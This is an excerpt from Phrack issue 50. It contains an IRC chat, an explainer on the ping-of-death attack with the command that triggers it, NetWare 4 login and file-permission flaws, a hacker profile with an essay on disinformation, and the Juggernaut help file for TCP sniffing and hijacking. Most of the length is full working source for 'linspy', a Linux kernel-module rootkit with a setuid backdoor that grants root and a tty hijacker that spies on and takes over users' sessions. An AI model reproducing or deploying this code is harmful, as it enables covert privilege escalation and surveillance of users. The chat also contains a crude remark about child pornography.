#supreme   {Imagine} H@  BOB@199.190.110.99 (.:tORn f#E?h:. v1.45 by SLaG)
#supreme   BL|ZZaRD  H@  blizzard@ip222.tol.primenet.com (hehe)
#supreme   W|ZaRD    H@  m3ntal@ip201.tol.primenet.com (M3NTaL)
#supreme   |COBRA|   H@  cobra@slbri3p24.ozemail.com.au (100% ReVpOwEr)
#supreme   _e|f_     H@  _e|f_@203.26.197.12 (blah)
<w0zz:#!r00t> werd
*** Mode change "-ooo _e|f_ |COBRA| W|ZaRD" on channel #supreme by d9
*** Mode change "-ooo BL|ZZaRD w0zz ^DRiFTeR^" on channel #supreme by d9
*** Mode change "-o Mystic12" on channel #supreme by d9
<W|ZaRD> hehe
*** Mode change "+o w0zz" on channel #supreme by d9
<_e|f_> sigh
<W|ZaRD> what would the new group name be.. if this happened?
<d9> the new name?
<W|ZaRD> hmm. nice takeover
<W|ZaRD> hehe
<w0zz> werd
<d9> w0zz, what do you think?
<W|ZaRD> new group name
<_e|f_> d9: ops plz
<d9> r00t?  guild?
<d9> wait
<_e|f_> this is only a temp channel neway d9
<W|ZaRD> guild wuz already used
<d9> those are taken...
<_e|f_> so its a waste to do a takeover
<w0zz> i like r00t
<w0zz> oh
<w0zz> yeah
<w0zz> those guys are eleet
<d9> yah
<d9> I hear r00t has this 10 year old that can break into .mil sites...
*** d9 is now known as daemon9
<w0zz> duod, he's like D.A.R.Y.L.
<W|ZaRD> hehe
<daemon9> yah..
<_e|f_> d9: i take it by this yew aint interested?
<_e|f_> :\
<daemon9> anyway, bak to pr0n.
<W|ZaRD> anywayz.. op me d00d
<w0zz> me too
<w0zz> must have m0re pr0n
*** Mode change "+m" on channel #supreme by daemon9
<daemon9> yes
*** w0zz has left channel #supreme
<daemon9> more pr0n
<w0zz:#!r00t> werd
<w0zz:#!r00t> that rooled
<daemon9> mega-pr0n
<W|ZaRD> porn
<W|ZaRD> hehe
<daemon9> kiddie-pr0n 
<W|ZaRD> op me plz
<daemon9> wizard, you are fine the way you are.
*** w0zz is now known as [w0zzz]
*** daemon9 has left channel #supreme
*** daemon9 is now known as r0ute
<r0ute> hahaha
<[w0zzz]> heh
<r0ute> that was fun.
<r0ute> good way to wake up from a nap



                                ----<>----



			Large Packet Attacks
			(AKA Ping of Death)
		   ---------------------------------


	[ Introduction ]

	Recently, the Internet has seen a large surge in denial of service
attacks.  A denial of service attack in this case is simply an action of some 
kind that prevents the normal functionality of the network.  It denies service.
This trend began a few months back with TCP SYN flooding and continues with the
"large packet attack".  In comparison with SYN flooding, the large packet attack 
is a much more simple attack in both concept (explained below) and execution 
(the attack can be carried out by anyone with access to a Windows 95 machine).  
TCP SYN flooding is more complex in nature and does not exploit a flaw so much 
as it exploits an implementation weakness.  
	The large packet attack is also much more devastating then TCP SYN 
flooding.  It can quite simply cause a machine to crash, whereas SYN flooding 
may just deny access to mail or web services of a machine for the duration of 
the attack.  For more information on TCP SYN flooding see Phrack 49, article 13.
(NOTE:  The large packet attack is somewhat misleadingly referred to as 'Ping of 
Death` because it is often delivered as a ping packet.  Ping is a program that 
is used to test a machine for reachablity to see if it alive and accepting 
network requests.  Ping also happens to be a convenient way of sending the 
large packet over to the target.)
	The large packet attack has caused no end of problems to countless 
machines across the Internet.  Since its discovery, *dozens* of operating 
system kernels have been found vulnerable, along with many routers, terminal 
servers, X-terminals, printers, etc.  Anything with a TCP/IP stack is in fact,
potentially vulnerable.  The effects of the attack range from mild to 
devastating.  Some vulnerable machines will hang for a relatively short period
time then recover, some hang indefinitely, others dump core (writing a huge 
file of current memory contents, often followed by a crash), some lose 
all network connectivity, many rebooted or simply gave up the ghost.
	
	[ Relevant IP Basics ]	

	Contrary to popular belief, the problem has nothing to do with the
`ping` program.  The problem lies in the IP module.  More specifically,
the problem lies the in the fragmentation/reassembly portion of the IP module.
This is portion of the IP protocol where the packets are broken into smaller 
pieces for transit, and also where they are reassembled for processing.  An IP
packet has a maximum size constrained by a 16-bit header field (a header is a 
portion of a packet that contains information about the packet, including
where it came from and where it is going).  The maximum size of an IP packet 
is 65,535 (2^16-1) bytes.  The IP header itself is usually 20 bytes so this 
leaves us with 65,515 bytes to stuff our data into.  The underlying link layer
(the link layer is the network logically under IP, often ethernet) can seldom 
handle packets this large (ethernet for example, can only handle packets up to 
1500 bytes in size).  So, in order for the link layer to be able to digest a 
large packet, the IP module must fragment (break down into smaller pieces) 
each packet it sends to down to the link layer for transmission on the network.
Each individual fragment is a portion of the original packet, with its own 
header containing information on exactly how the receiving end should put it 
back together.  This putting the individual packets back together is called 
reassembly.  When the receiving end has all of the fragments, it reassembles 
them into the original IP packet, and then processes it.

	[ The attack ]

	The large packet attack is quite simple in concept.  A malicious user  
constructs a large packet and sends it off.  If the destination host is
vulnerable, something bad happens (see above).  The problem lies in the
reassembly of these large packets.  Recall that we have 65,515 bytes of space 
in which to stuff data into.  As it happens, a few misbehaved applications
(and some specially crafted evil ones) will allow one to place slightly more 
data into the payload (say 65,520 bytes).  This, along with a 20 byte IP
header, violates the maximum packet size of 65,535 bytes.  The IP module will 
then simply break this oversized packet into fragments and eschew them to 
their intended destination (target).  The receiving host will queue all of the 
fragments until the last one arrives, then begin the process of reassembly.  
The problem will surface when the IP module finds that the packet is in
fact larger than the maximum allowable size as an internal buffer is 
overflowed.  This is where something bad happens (see above).
	
	[ Vulnerability Testing and Patching ]

	Testing to see if a network device is vulnerable is quite easy. 
Windows NT and Windows 95 will allow construction of these oversized
packets without complaining.  Simply type: `ping -l 65508 targethost`.  In
this case, we are delivering an oversized IP packet inside of a ping packet, 
which has a header size of 8 bytes.  If you add up the totals, 20 bytes of IP 
header + 8 bytes of ping header + 65,508 bytes of data, you get a 65,536 byte 
IP packet.  This is enough to cause affected systems to have problems.
	Defense is preventative.  The only way to really be safe from this
attack is to either ensure your system is patched, or unplug its network tap.
There are patches available for just about every vulnerable system.  For
a copious list of vulnerable systems and patches, check out a 'Ping of Death'
webpage near you.

			daemon9
			Editor, Phrack Magazine
			(daemon9@netcom.com)



---------------------------------------------------------------------------

To: route@onyx.infonexus.com
From: xxxx xxxxxxxxxxx <xxxx@xxxxxxxxxx.com>
Subject: Re: ?
Status: RO

Actually, hang on. I've looked your story up and down looking for ways to
 make it more interesting and I can't. I think it's actually just too
 technical for us and lacks a newsworthiness that was evident in the SYN
 article. I mean, you never tell us why we should care about this, and
 frankly, I don't know why we should. So, you're welcome to take another
 pass at it, otherwise, I'll give you the kill fee of $100.

xxxx

[ Too techinical?  Any less techincal and I would have to make everything
  rhyme so people wouldn't fall asleep. ]

---------------------------------------------------------------------------


                                ----<>----


                       Netware Insecurities
                              Tonto
 
                            [the rant]
        
        I realize that to most security professionals and
        system administrators who will see this magazine,
        the term "NetWare security" is a punchline.  That
        unfortunately does not change the fact that many 
        people in the field, myself included, must deal
        with it daily.  Really, honestly, I do agree with
        you.  Please don't write me to tell me about how
        futile it is.  I already know.
 
        Since its release, not much security news has really 
        surfaced surrounding Novell NetWare 4.  A lot of the 
        security flaws that were present in 3.1x were 'fixed'
        in 4.x since Novell pretty much redesigned the way
        the user/resource database worked, was referenced, 
        and stored.  Some flaws remained, although fixes for
        them are well-known, and easily applied.  However,
        NetWare 4 came with its own batch of new security
        flaws, and Novell has done a poor job of addressing
        them, hoping that consumer-end ignorance and the
        client/server software's proprietary design will hide 
        these holes.  You'd figure they would know better by 
        now.  
        
        The ability to use a packet sniffer to snag RCONSOLE
        passwords still exists;  NetWare 4 institutes client-end
        authentication to implement its auto-reconnect feature;
        the list goes on.  Below are just a couple of examples
        of such bugs and how to deal with them.  As new Novell
        products bring many existing LANs out onto the Internet,
        I think you will see more of this sort of thing coming 
        to the surface.  I hope that when it does, Novell decides 
        to take a more responsible role in security support for
        its products.  I'd hate for such a widely used product
        to become the next HP/UX.
 
 
                           [the exploits]
 
[BUG #1]
 
This bug is known to affect NetWare 4.10.  It's probably present in 4.01 
and other versions that support Directory Services, but I haven't 
verified this.  I'm only a CNA, so I tried to verify this bug by talking 
to a group of CNEs and nobody had heard of this, although there are 
apparently other bugs in previous versions of LOGIN.EXE.  
 
The bug is a combination of some weak code in LOGIN-4.12 
(SYS:\LOGIN\LOGIN.EXE) and a default User object in NDS - the user template 
USER_TEMPLATE. LOGIN allows input fields to be passed directly, instead 
of filtered, if they are passed to LOGIN correctly -- by specifying an 
object's context explicitly (as opposed to implicitly by using CX) and 
putting the User object's name in quotes.
 
F:\PUBLIC>LOGIN SVR1/"USER_TEMPLATE"
 
For Server object SVR1 in an appropriate context, this would probably work
and give a generic level of user access, perhaps to other volumes, 
programs, etc.  That will vary depending on the setup of the server.
 
The fix is simple.  Load SYS:\PUBLIC\NWADMIN.EXE and disable the user 
template's login.  But from now on, you will have to manually enable
login for any new User objects created in your tree.
 
 
[BUG #2]
 
This isn't a bug as much as a failed attempt to add security to a DOS file
system.  But since Novell touts (and teaches) it as a file system security
tool, it is worth addressing.
 
NetWare comes with a tool called FLAG, which is supposed to be the NetWare
equivalent of UNIX's chmod(), in that it controls file attributes for files
on local and NetWare file systems.  The problem lies in that Novell  
thought it would be neat to incorporate its tool into the world of DOS file 
attributes as well.  So they made FLAG alter DOS file attributes 
automatically to correspond with the new attributes installed by FLAG.  
This would've been cool, except that DOS's ATTRIB.EXE can also be used to 
change the DOS-supported file attributes set by FLAG.  (Archive, Read-only, 
 Hidden, and System, respectively)  And since ATTRIB doesn't reference NDS 
in any way, the problem is obvious;  A file that was marked Read-only by 
its owner, using FLAG, could be compromised by a user other than its owner,
with ATTRIB, and then altered or deleted.
 
There isn't an easy fix for something that is this broken, so it is 
simply recommended that you use IRFs (carefully) to designate file rights 
on your server.
 
 
[ 01-07-97 - Tont0 ]


                                ----<>----
EOF
              


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     4 of 16

  
                             -:[ Phrack Pro-Phile ]:-

                                    Aleph One
                                    ~~~~~~~~~

    Personal
    ~~~~~~~~
 
             Handle: Aleph One
           Call him: Aleph
       Past handles: None
      Handle origin: Transfinite Math
                     ("Infinity and the Mind" by Rudy Rucker)
      Date of Birth: 1974
             Height: 6 feet
             Weight: No idea.
          Eye color: Olive
         Hair Color: Dark Brown
          Computers: Two
           Admin of: Underground.Org, and BugTraq
   Sites Frequented: None.  I got better things to do with my time.
               URLs: http://www.disinfo.com/
 

    Favorite Things
    ~~~~~~~~~~~~~~~
             Women: Intelligent, sexy with beautiful eyes and class.
              Cars: None.  They are a pain.  Ride a motorcycle.
             Foods: Exotic.  Sushi (Anago), Arab, Chinese, Vietnamese,
                    Thai, Indian, Ethiopian.  Seafood.  Meat.  Anything on 
                    a grill.  Anything flamb. Wine: Chianti.
             Music:      Techno: Leftfield, Orbital, Underworld, Electric 
                                 Skychurch, Prodigy, Juno Reacto, 
                                 Chemical Brothers, Ambient, GOA Trace.
                           Rock: Tool, Marylin Mason, Beck, Garbage, NIN.
                      Classical: Bach, Baroque
                    Soundtracks: Natural Born Killers, The Piano, Braveheart, 
                                 RobRoy.
             Books: "Godel, Escher, Bach" by Douglas R. Hofstadter
                    "Infinity and the Mind" by Rudy Rucker
                    "100 Years of Solitude" (in Spanish)
                      by Gabriel Garcia Marques
                    "Metamorphosis" by Kafka
          Turn Ons: Intelligence.  Class.  Pierced belly buttons.
                    Tasteful tattoos.  Long hair.
         Turn Offs: Ignorance.  Attitude.  Bad tattoos. 



    Other passions, interests, loves:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Painting - Went to a painting/drawing class for 3 years.  Did
    everything from pencil, pastels, up to watercolors.  I stopped going
    when I started working with oils.  I haven't painted in almost 7 years.
    Too bad, I enjoyed it.

    Math - For some reason I always liked math.  I hated doing exercises,
    but always liked the theory.  Guess that's why my grades were not
    better.  I was intending to do a minor in math but I quit school
    before that ever happened...

    Reading - One of the things I value the most are my books.  I really enjoy
    reading.  Sadly, lately, all I read are technical books.  I need to
    start reading other stuff again.

    AI - When I started fooling around with computers I wanted to go into AI,
    but the lack of material at my disposition at the time kept me from
    delving into it too much.

    Most memorable experiences:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Death - It marks your life for ever.

    Burning Man '95 - One of the most intense experiences of my life.
    Nothing can compare to the creation and expression of this community 
    that grows and dies in one of the most inhospitable, yet more 
    beautiful, places on earth.

    Some people to mention:
    ~~~~~~~~~~~~~~~~~~~~~~~   

    Annaliza (for all the rides from work, all the adventures, always being 
              there, and the hot cocoa)

    Luis (for all the good times, the bad times, and begin one fucking
          crazy Spanish cosaco)

    Mr. Upsetter, Buckaroo Banzai, Dan, Rod & Rika, Sir Dystic, Freqout, 
    White Knight & Loren (for being good friends)

    Intrepid Traveller (for giving me the number to Lunatic Labs)

    Noid, Pappy, Phax, Elvis Smurf, Ming of Mongo, TRW, Clockwork, and the 
    rest of the old LA 2600 crew (for being themselves)

    Veggie (for being larger than life)

    Mycroft (who would have thought?)

    r00t (for being elite)

    A few things you would like to say:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Knowledge come from within.

   The New Security Threat: Disinformation

   Statistics show that network break-ins are on the rise.  Entities
connecting to the Net expect to be broken into.  They know it's only
a matter of time before some random hacker targets their machines using
the latest warez to bypass their firewall and break into their machine.
They have seen it happen over and over.  The CIA, DOJ, NASA, MGM/UA, etc.

   The modus operandi is always the same: Deface the web page, or trash the
machines.  For this occurrence they have prepared.  Backups are in place, and
ready to be used.  Hacked web pages hardly stay up more than half and hour
before they are taken down.  What ever message the hackers wanted to deliver
was probably only seen by a handful of people.  There no longer is any
incentive to hack a web site that no one will see.

   So what is next?  Disinformation.

   The Internet as a medium facilitates the free flow of information.  Single
individuals can reach large, as yet before unreachable audiences. Information 
that before would have been relegated to some obscure corner, now travels at
the speed of light and is disseminated all over the world.  Everyday the Net
is becoming a more important source of leads and information for the standard
news media.  It usually only takes a few hours before some information such
as a new product, or some new bug, published on the Net appears on TV or
some newspaper's web site.  And as more companies publish information online
our dependence on the Net as a source of information will only increase.

   But the medium does not attempt to validate or even authenticate this
information in most cases.  A anonymous tip on some newsgroup or web site
can cause a company a lot of headaches.  Even the worst are half-truths. 
Just look at the damage control that corporations such as Microsoft and Intel
had to do in the past.  But this is only the beginning.

   What if that motivated hacker decides that instead of replacing the
company's web site with some obscene language and graphics that will be
taken down almost immediately we will add a small officially worded press
release to the web site.  How long until someone notices?  How long until
they realize it's a fake.  Maybe we should also email the press release to
some media contacts.  What are the chances that it will be catch before it
makes it into the news?  Or that it will catch before it's discussed on some
newsgroup with a large audience?

   The amount of damage control a well placed piece of information coming
from a seemingly reputable source is incredible.  This, I believe, is where
future attacks lay.

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     5 of 16
 
                   ============================================
                   Abuse of the Linux Kernel for Fun and Profit
                              halflife@infonexus.com 
			       [guild  corporation]
                   ============================================

Introduction
------------
   Loadable modules are a very useful feature in linux, as they let
you load device drivers on a as-needed basis.  However, there is
a bad side: they make kernel hacking almost TOO easy.  What happens
when you can no longer trust your own kernel...?  This article describes
a simple way kernel modules can be easily abused. 

System calls
------------
   System calls. These are the lowest level of functions available, and
are implemented within the kernel. In this article, we will discuss how
they can be abused to let us write a very simplistic tty hijacker/monitor.
All code was written and designed for linux machines, and will not compile
on anything else, since we are mucking with the kernel.

    TTY Hijackers, such as tap and ttywatcher are common on Solaris,
SunOS, and other systems with STREAMS, but Linux thus far has not had
a useful tty hijacker (note: I don't consider pty based code such as
telnetsnoop to be a hijacker, nor very useful since you must make
preparations ahead of time to monitor users).

   Since linux currently lacks STREAMS (LinSTREAMS appears to be dead),
we must come up with a alternative way to monitor the stream.  Stuffing
keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff
keystrokes into the input stream.  The solution, of course, is to redirect
the write(2) system call to our own code which logs the contents of the
write if it is directed at our tty;  we can then call the real write(2)
system call.

   Clearly, a device driver is going to be the best way to do things.  We
can read from the device to get the data that has been logged, and add
a ioctl or two in order to tell our code exactly what tty we want to log.


Redirection of system calls
---------------------------
   System calls are pretty easy to redirect to our own code.  It works in
principle like DOS terminate and stay resident code.  We save the old
address in a variable, then set a new one pointing to our code.  In our
code, we do our thing, and then call the original code when finished.

   A very simple example of this is contained in hacked_setuid.c, which
is a simple loadable module that you can insmod, and once it is inserted
into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0.
(See the appended file for all the code.)  The addresses for the
syscalls are contained in the sys_call_table array.  It is relatively easy
to redirect syscalls to point to our code.  Once we have done this, many
things are possible...

Linspy notes
------------
   This module is VERY easy to spot, all you have to do is cat /proc/modules 
and it shows up as plain as day.  Things can be done to fix this, but I
have no intention on doing them.

   To use linspy, you need to create an ltap device, the major should
be 40 and the minor should be 0.  After you do that, run make and then
insmod the linspy device.  Once it is inserted, you can run ltread [tty]
and if all goes well, you should see stuff that is output to the user's
screen.  If all does not go well ... well, I shall leave that to your
nightmares.

The Code [use the included extract.c utility to unarchive the code]
---------------------------------------------------------------------


<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME="/dev/ltap"'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX

all:		linspy ltread setuid

linspy:		linspy.c /usr/include/linux/version.h
		$(CC) $(MODCFLAGS) -c linspy.c

ltread:		
		$(CC) $(DN) -o ltread ltread.c

clean:		
		rm *.o ltread

setuid:		hacked_setuid.c /usr/include/linux/version.h
		$(CC) $(MODCFLAGS) -c hacked_setuid.c
                                                     
<--> end Makefile
<++> linspy/hacked_setuid.c
int errno;
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#include <linux/module.h>
#include <linux/version.h>
#include <errno.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
static inline _syscall1(int, setuid, uid_t, uid);
extern void *sys_call_table[];
void *original_setuid;
extern int hacked_setuid(uid_t uid)
{
   int i;                     
   if(uid == 4755)
   {
      current->uid = current->euid = current->gid = current->egid = 0;
      return 0;
   }
   sys_call_table[SYS_setuid] = original_setuid;
   i = setuid(uid);
   sys_call_table[SYS_setuid] = hacked_setuid;
   if(i == -1) return -errno;
   else return i;
}
int init_module(void)
{
   original_setuid = sys_call_table[SYS_setuid];
   sys_call_table[SYS_setuid] = hacked_setuid;
   return 0;
}
void cleanup_module(void)
{
   sys_call_table[SYS_setuid] = original_setuid;
}  
<++> linspy/linspy.c
int errno;
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#ifdef MODULE
#include <linux/module.h>       
#include <linux/version.h>
#endif
#include <errno.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/vt.h>

/* set the version information, if needed */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif

#ifndef MIN
#define MIN(a,b)        ((a) < (b) ? (a) : (b))
#endif

/* ring buffer info */        

#define BUFFERSZ        2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;

/* taken_over indicates if the victim can see any output */
int taken_over = 0;

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
extern void *sys_call_table[];

/* device info for the linspy device, and the device we are watching */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;

/* address of original write(2) syscall */
void *original_write;

void save_write(char *, size_t);


int out_queue(void) 
{
   int c;
   if(queue_head == queue_tail) return -1;
   c = buffer[queue_head];
   queue_head++;
   if(queue_head == BUFFERSZ) queue_head=0;
   return c;
}

int in_queue(int ch)
{
   if((queue_tail + 1) == queue_head) return 0;
   buffer[queue_tail] = ch;
   queue_tail++;
   if(queue_tail == BUFFERSZ) queue_tail=0;
   return 1;
}


/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
   struct file *f=NULL;
   struct inode *inode=NULL;
   int mymajor=0;
   int myminor=0;

   if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
      return 0;
   mymajor = major(inode->i_rdev);
   myminor = minor(inode->i_rdev);
   if(mymajor != tty_major) return 0;
   if(myminor != tty_minor) return 0;
   return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
   int r;
   if(is_fd_tty(fd))
   {
      if(count > 0)
         save_write(buf, count);
      if(taken_over) return count;
   }
   sys_call_table[SYS_write] = original_write;
   r = write(fd, buf, count); 
   sys_call_table[SYS_write] = new_write;
   if(r == -1) return -errno;
   else return r;
}


/* save data from the write(2) call into the buffer */
void save_write(char *buf, size_t count)
{
   int i;
   for(i=0;i < count;i++)
      in_queue(get_fs_byte(buf+i));
}

/* read from the ltap device - return data from queue */
static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
{
   int i;
   int c;
   int cnt=0;
   if(current->euid != 0) return 0;
   for(i=0;i < count;i++)
   {
      c = out_queue();
      if(c < 0) break;
      cnt++;
      put_fs_byte(c, buf+i);
   }
   return cnt;
}

/* open the ltap device */
static int linspy_open(struct inode *in, struct file *fi)
{
   if(current->euid != 0) return -EIO;
   MOD_INC_USE_COUNT;
   return 0;
}

/* close the ltap device */
static void linspy_close(struct inode *in, struct file *fi)
{
   taken_over=0;
   tty_minor = -1;
   MOD_DEC_USE_COUNT;
}
             
/* some ioctl operations */
static int
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
{
#define LS_SETMAJOR     0
#define LS_SETMINOR     1
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

   if(current->euid != 0) return -EIO;
   switch(cmd)
   {
      case LS_SETMAJOR:
         tty_major = args;
         queue_head = 0;
         queue_tail = 0;
         break;
      case LS_SETMINOR:
         tty_minor = args;
         queue_head = 0;
         queue_tail = 0;
         break;
     case LS_FLUSHBUF:
         queue_head=0;
         queue_tail=0;
         break;
     case LS_TOGGLE:
         if(taken_over) taken_over=0;
         else taken_over=1;
         break;
      default:
         return 1;
   }
   return 0;
}


static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL, 
linspy_open,
linspy_close,
NULL
};


/* init the loadable module */
int init_module(void)
{
   original_write = sys_call_table[SYS_write];
   sys_call_table[SYS_write] = new_write;
   if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
   return 0;
}

/* cleanup module before being removed */
void cleanup_module(void)
{
   sys_call_table[SYS_write] = original_write;
   unregister_chrdev(linspy_major, "linspy");
}
<--> end linspy.c
<++> linspy/ltread.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>

struct termios save_termios;
int ttysavefd = -1;
int fd;

#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif

#define LS_SETMAJOR     0
#define LS_SETMINOR     1
 
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

void stuff_keystroke(int fd, char key)
{
   ioctl(fd, TIOCSTI, &key);
}

int tty_cbreak(int fd)
{
   struct termios buff;
   if(tcgetattr(fd, &save_termios) < 0)
      return -1;
   buff = save_termios;
   buff.c_lflag &= ~(ECHO | ICANON);
   buff.c_cc[VMIN] = 0;
   buff.c_cc[VTIME] = 0;
   if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
      return -1;
   ttysavefd = fd;
   return 0;
}

 char *get_device(char *basedevice)
{
   static char devname[1024];
   int fd;

   if(strlen(basedevice) > 128) return NULL;
   if(basedevice[0] == '/')
      strcpy(devname, basedevice);
   else
      sprintf(devname, "/dev/%s", basedevice);
   fd = open(devname, O_RDONLY);
   if(fd < 0) return NULL;
   if(!isatty(fd)) return NULL;
   close(fd);
   return devname;
}


int do_ioctl(char *device)
{
   struct stat mystat;

   if(stat(device, &mystat) < 0) return -1;
    fd = open(DEVICE_NAME, O_RDONLY);
   if(fd < 0) return -1;
   if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
   if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
}


void sigint_handler(int s)
{
   exit(s);
}

void cleanup_atexit(void)
{
   puts(" ");
   if(ttysavefd >= 0)
      tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
}

main(int argc, char **argv)
{
   int my_tty;
   char *devname;
    unsigned char ch;
   int i;

   if(argc != 2)
   {
      fprintf(stderr, "%s ttyname\n", argv[0]);
      fprintf(stderr, "ttyname should NOT be your current tty!\n");
      exit(0);
   }
   devname = get_device(argv[1]);
   if(devname == NULL)
   {
      perror("get_device");
      exit(0);
   }
   if(tty_cbreak(0) < 0)
   {
      perror("tty_cbreak");
      exit(0);
   }
   atexit(cleanup_atexit);
   signal(SIGINT, sigint_handler);
   if(do_ioctl(devname) < 0)
   {
      perror("do_ioctl");
      exit(0);
   }
   my_tty = open(devname, O_RDWR);
   if(my_tty == -1) exit(0);
   setvbuf(stdout, NULL, _IONBF, 0);
   printf("[now monitoring session]\n");
   while(1)
   {
      i = read(0, &ch, 1);
      if(i > 0)
      {
         if(ch == 24)
         {
            ioctl(fd, LS_TOGGLE, 0);
            printf("[Takeover mode toggled]\n");
         }
         else stuff_keystroke(my_tty, ch);
      }
      i = read(fd, &ch, 1);
      if(i > 0)
         putchar(ch);
    }
}
<--> end ltread.c


EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     6 of 16

                               J U G G E R N A U T 
 
                                  route|daemon9

                      a guild corporation production 1996/7


    Please use the included extract.c utility to extract the files and then
    read the Install file.  Any problems/comments mail me route@infonexus.com.

    A boot image is forthcoming that will allow a user to simply pop a disk
    into most any networked PC and turn it into a Juggernaut workstation.

<++> Juggernaut/ClothLikeGauze/.help

                            Juggernaut 1.0 Help File

|--------
|Overview
|--------

Juggernaut is a robust network tool for the Linux OS.  It contains several
modules offering a wide degree of functionality.  Juggernaut has been tested 
successfully on several different Linux machines on several different networks. 
However, your mileage may vary depending on the network topologies of the
environment (ie: Smart hubbing will kill much of the packet sniffing 
functionality...) and, to a lesser extent, the machine running Juggernaut.
If something doesn't work, use a network debugger and figure out why...  

Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on
April 9, 1997.

           Any serious problems/bugs or comments, please mail me: 
        
                           route@infonexus.com


|---------------------
|Command Line Options
|---------------------

    juggernaut -h       

                        Quick help.

    juggernaut -H       

                        Dumps this help file.

    juggernaut -v 

                        By default, Juggernaut conveys error messages and other
                        diagnostic information to the user.  Specifying this 
                        option will cause Juggernaut to shut the hell up.

                        Not recommended unless you know what you are doing.

    juggernaut -t xx            [ juggernaut -t 5 ]   
        
                        This option specifies the network read timeout (which 
                        defaults to 10 seconds).  This value reflects how long
                        Juggernaut will wait for network traffic before giving
                        up.  In this case, it will wait 5 seconds.

    juggernaut -s TOKEN         [ juggernaut -s login ]

                        Dedicated sniffing mode.  Juggernaut will drop to the
                        background and examine all TCP packets looking for
                        TOKEN.  When TOKEN is located, it then isolates that 
                        TCP circuit and captures the next 16 (the default
                        enticement factor) packets and logs them to a file. It
                        then resets and continues sifting through TCP traffic 
                        looking for TOKEN.

    juggernaut -s TOKEN -e xx   [ juggernaut -s daemon9 -e 1000 ]

                        By specifying a larger enticement factor, you can
                        capture more packets from a session.  This time, after
                        locating TOKEN, Juggernaut will capture 1000 packets 
                        before reseting.

    juggernaut
                        This starts the program in standard mode.
     
|-------------
|Menu Options
|-------------

This is normal mode of operation for Juggernaut.  This is where the magic 
happens, this is where the fun is. The program will examine all network
traffic and add suitable TCP connections to the connection database (which
is viewed with option 1).  After at least one connection is in the database, 
you can start mucking around with it (connection construction and destruction 
are indicated by the appearance of the "+" or the "-" at the console). Note 
that connections involving a local interface may not show up (unless the
localhost is dual-homed).

One possible shortcoming of the program is the fact that it stores very
little state information about connections in the database.  Juggernaut
collects whatever information it needs (and doesn't have) on the fly.  As 
such, a quiet connection (no traffic) will elude hijacking and reseting.  The 
benefit of this is the fact that the program does not have to tie itself up 
updating the shared memory segment with state every time a packet flies by.


    ?) Help
                        This file.

    0) Program information

                        Dumps some stuff...

    1) Connection database
    
                        Dumps the current connection list and percent to 
                        capacity.  Gives the option to wipe the database.

    2) Spy on a connection

                        Allows a user to spy on any connection in the database,
                        with the option of logging the entire session to a
                        file.

    3) Reset a connection

                        Allows the user to destroy any existing connection in 
                        the database.

    4) Automated connection reset daemon

                        Allows the user to setup an automated TCP RST daemon 
